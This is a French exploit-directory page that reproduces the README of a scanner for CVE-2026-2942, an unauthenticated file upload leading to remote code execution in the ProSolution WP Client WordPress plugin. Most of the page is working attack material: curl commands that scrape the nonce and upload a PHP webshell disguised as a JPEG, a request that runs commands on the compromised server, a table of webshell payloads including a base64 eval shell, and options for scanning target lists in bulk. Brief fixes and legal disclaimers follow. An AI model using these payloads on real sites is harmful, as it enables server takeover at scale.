Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-2942 — Analyseur automatisé pour le téléchargement arbitraire de fichiers non authentifié et l'exécution de code à distance dans ProSolution WP Client (CVE-2026-2942). Prend en charge l'analyse multi-thread, l'usurpation MIME, la vérification du shell et la prise en charge des proxys pour les tests d'intrusion. | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-2942
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Voir le dépôt
6il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Analyseur automatisé pour le téléchargement arbitraire de fichiers non authentifié et l'exécution de code à distance dans ProSolution WP Client (CVE-2026-2942). Prend en charge l'analyse multi-thread, l'usurpation MIME, la vérification du shell et la prise en charge des proxys pour les tests d'intrusion.

Partager

ProSolution WP Client — Scanner de téléversement de fichier non authentifié et RCE

Plugin: prosolution-wp-client
Version affectée: <= 1.9.9
Type de vulnérabilité: Téléversement arbitraire de fichier non authentifié → Exécution de code à distance
Niveau de risque: 🔴 Critique (CVSS 9.8)
Exigence: page publique contenant le shortcode [prosolfrontend]


📌 À propos de la vulnérabilité

L'action AJAX proSol_fileUploadProcess du plugin ProSolution WP Client vérifie le type MIME des fichiers téléchargés mais ne valide pas l'extension. Un attaquant peut envoyer un fichier avec l'extension .php avec le type MIME image/jpeg et téléverser un webshell sur le serveur sans authentification.

Chaîne d'attaque

[prosolfrontend] shortcode sayfası
        │
        ▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 Preuve de concept (Manuel)

⚠️ Avertissement : Cette PoC est fournie uniquement à des fins éducatives et de recherche en sécurité défensive. Ne l'utilisez que contre des systèmes vous appartenant ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

Prérequis

  • WordPress installé et plugin prosolution-wp-client actif (version <= 1.9.9)
  • Une page WordPress publiée contenant le shortcode [prosolfrontend]

Étape 1 — Récupération du nonce

Visitez n'importe quelle page publique contenant le shortcode [prosolfrontend] et extrayez la valeur prosolObj.nonce depuis le code source :

TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Structure à rechercher dans le code source :

<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Étape 2 — Création du webshell PHP

echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Étape 3 — Téléversement avec MIME Spoofing

Envoyez le fichier .php avec le Content-Type image/jpeg :

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Réponse attendue :

{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" et "rename_status": true → le fichier .php a bien été enregistré.


Étape 4 — Déclenchement du RCE

SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # Adım 3'teki newfilename

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Sortie attendue :

uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ RCE non authentifié obtenu.


🛠️ Installation du scanner automatique

git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 Utilisation

Cible unique

python prosol_upload.py -u http://hedef.com

Avec vérification du shell

python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

Analyse par lots

python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

Avec proxy (Burp Suite)

python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

Type de shell personnalisé

python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ Paramètres

ParamètreCourtDescriptionDéfaut
--url-uURL de la cible unique—
--list-lFichier de liste de cibles—
--threads-tNombre de threads10
--output-oFichier de sortieuploaded.txt
--shell-name—Nom du fichier à téléversershell.php
--shell-type—Type de shellsystem
--verify—Test RCE après téléversementFalse
--verify-cmd—Commande de vérificationid
--proxy—URL du proxy—
--timeout—Délai d'expiration de la requête (s)10

💀 Types de shell

TypePayloadDescription
system<?php system($_GET["cmd"]); ?>Commande système de base
passthru<?php passthru($_GET["cmd"]); ?>Sortie brute
exec<?php echo exec($_GET["cmd"]); ?>Exécution silencieuse
assert<?php assert($_POST["cmd"]); ?>Eval via POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Obscurcissement Base64
fullshell_exec + system + exec fallbackShell complet

📂 Emplacement de téléversement du shell

WordPress Kök/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell burada

📊 Statuts de sortie du scanner

StatutDescription
★ UPLOADEDShell téléversé avec succès
✓ RCE OKShell vérifié, commande exécutée
- BLOCKEDLe serveur a bloqué l'extension PHP
~ TIMEOUTDélai de connexion dépassé
~ CONN_ERRErreur de connexion
! HTTP_ERRCode d'erreur HTTP

🖥️ Exemple de sortie du scanner

[*] 3 hedef | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  Yeni Ad   : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────

🛡️ Défense / Correctif

MesureApplication
Blocage de l'exécution PHPAjouter un .htaccess au dossier uploads/
Mise à jour du pluginMettre à niveau vers la version > 1.9.9 ou supprimer
Liste blanche des extensionsUniquement les extensions autorisées côté serveur
Validation MIMEVérification du contenu réel avec finfo_file()
Règle WAFBloquer les demandes de téléversement de fichiers .php

.htaccess pour le dossier uploads/ :

<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Avertissement légal

Cet outil et cette PoC sont préparés uniquement pour une utilisation sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion.
Toute utilisation sur des systèmes non autorisés constitue une infraction au sens des articles 243 à 245 du Code pénal turc et des lois internationales sur la cybercriminalité.
Le développeur décline toute responsabilité légale découlant d'une mauvaise utilisation de l'outil.


📄 Licence

MIT License — À des fins éducatives et de recherche uniquement.

Télécharger l’outil